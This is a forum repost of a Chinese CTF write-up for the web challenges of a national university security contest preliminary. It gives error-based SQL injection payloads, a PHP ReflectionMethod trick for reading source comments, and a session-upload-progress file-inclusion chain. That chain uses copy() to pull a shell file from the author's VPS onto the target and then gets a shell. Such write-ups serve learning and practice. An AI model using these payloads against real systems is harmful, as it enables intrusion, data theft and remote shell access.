• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

全国大学生信息安全竞赛线上初赛 Web 部分 WriteUp讲解


This Wind

Recommended Posts

20210516095516.png

[toc]

前言

感觉一晚上考完了高考,刚经历完一模二模三模的你还肝得动吗?

easy_sql

经测试登录密码出存在 sql 注入:

SQL
 
1
passwd=0')||extractvalue(1,concat(0x7c,(database()),0x7c))#&uname=123

image-20210515122241253

之后用 sqlmap 跑出两个数据表 users、flag,并且过滤了 information,所以用为无列名注入,用 join…using 爆出字段名:

SQL
 
1
2
3
4
5
passwd=0')||extractvalue(1,concat(0x7c,(select * from (select * from flag join flag as a)b),0x7c))#&uname=123    // id

passwd=0')||extractvalue(1,concat(0x7c,(select * from (select * from flag join flag as a using(id))b),0x7c))#&uname=123    // no

passwd=0')||extractvalue(1,concat(0x7c,(select * from (select * from flag join flag as a using(id,no))b),0x7c))#&uname=123    // 672997e4-88a0-4adc-b5ec-3482915ac53e

image-20210515122529939

然后使用 left() 和 right() 读取 flag:

image-20210515115442286

image-20210515115423302

easy_source

原题:https://r0yanx.com/2020/10/28/fslh-writeup/

目录扫描发现备份文件 .index.php.swo(少见的备份文件格式,其是 vim 打开文件后的缓存文件),访问即可得到源码:

PHP
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];    // 传入原生类名
$rb=$_GET["rb"];    // 传入类属性
$ra=$_GET["ra"];    // 传入类属性
$rd=$_GET["rd"];    // 传入类方法
$method= new $rc($ra, $rb);    // 实例化刚才传入的原生类
var_dump($method->$rd());     // 调用类中的方法

看着代码的样子应该是调用 PHP 原生类。我们猜测 flag 是藏在类的注释中,而且我们能够实例化任意类,并调用类方法,那么就可以利用 PHP 内置类中的 ReflectionMethod 类中的 getDocComment() 方法来读取 User 类里面各个函数的注释。

ReflectionMethod 类报告了一个方法的有关信息。

所以 Payload 如下:

CODE
 
1
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

image-20210515120348612

middle_source

题目源码如下:

PHP
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
    highlight_file(__FILE__);
    echo "your flag is in some file in /etc ";
    $fielf=$_POST["field"];
    $cf="/tmp/app_auth/cfile/".$_POST['cf'];
    
    if(file_exists($cf)){
        include $cf;
        echo $$field;
        exit;
    }
    else{
        echo "";
        exit;
    }
?> your flag is in some file in /etcset 限制解除 

field 就是迷惑你的,没啥用处。这个题的思路是文件包含利用 SESSION_UPLOAD_PROGRESS Getshell,详情请看:https://xz.aliyun.com/t/9545

首先访问 you_can_seeeeeeee_me.php 发现 phpinfo,查看 session 存储路径:

image-20210515233520851

构造文件上传表单上传 session:

PHP
 
1
2
3
4
5
6
7
8
9
10
<!doctype html>
<html>
<body>
<form action="http://124.71.232.194:24974/index.php" method="post" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php copy('http://47.101.57.72/shell.txt','/tmp/shell.txt'); ?>" />
 	<input type="file" name="file" />
    <input type="Submit" />
</form>
</body>
</html>

这里由于 PHP 的 disable_functions 限制了几乎所有可以利用的函数,命令执行、读写文件都不可能了,但是我在蓝帽杯中学到了一个姿势就是利用 PHP 中的 copy 函数,如下:

PHP
 
1
copy('http://47.101.57.72/shell.txt','/tmp/shell.txt');

即将位于我们 vps 上存在恶意代码的 shell.txt 文件远程复制到目标主机的 /tmp 目录中。

我们随便上传一个文件并抓包,给 HTTP 头中加上 Cookie:

image-20210515233420628

然后发送到 Intruder 模块中不停地重放。

之后再抓个包含 session 文件的包,也是发送到 Intruder 模块中不停地重放:

image-20210515233622035

两个 burpsuite 双管齐下,如下图所示写入成功:

image-20210515233743227

然后包含我们复制进去的 shell.txt 即可 Getshell:

image-20210515234010605

image-20210515234050925

https://whoamianony.top/2021/05/16/CTF比赛记录/第十四届全国大学生信息安全竞赛线上初赛 Web 部分 WriteUp/

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now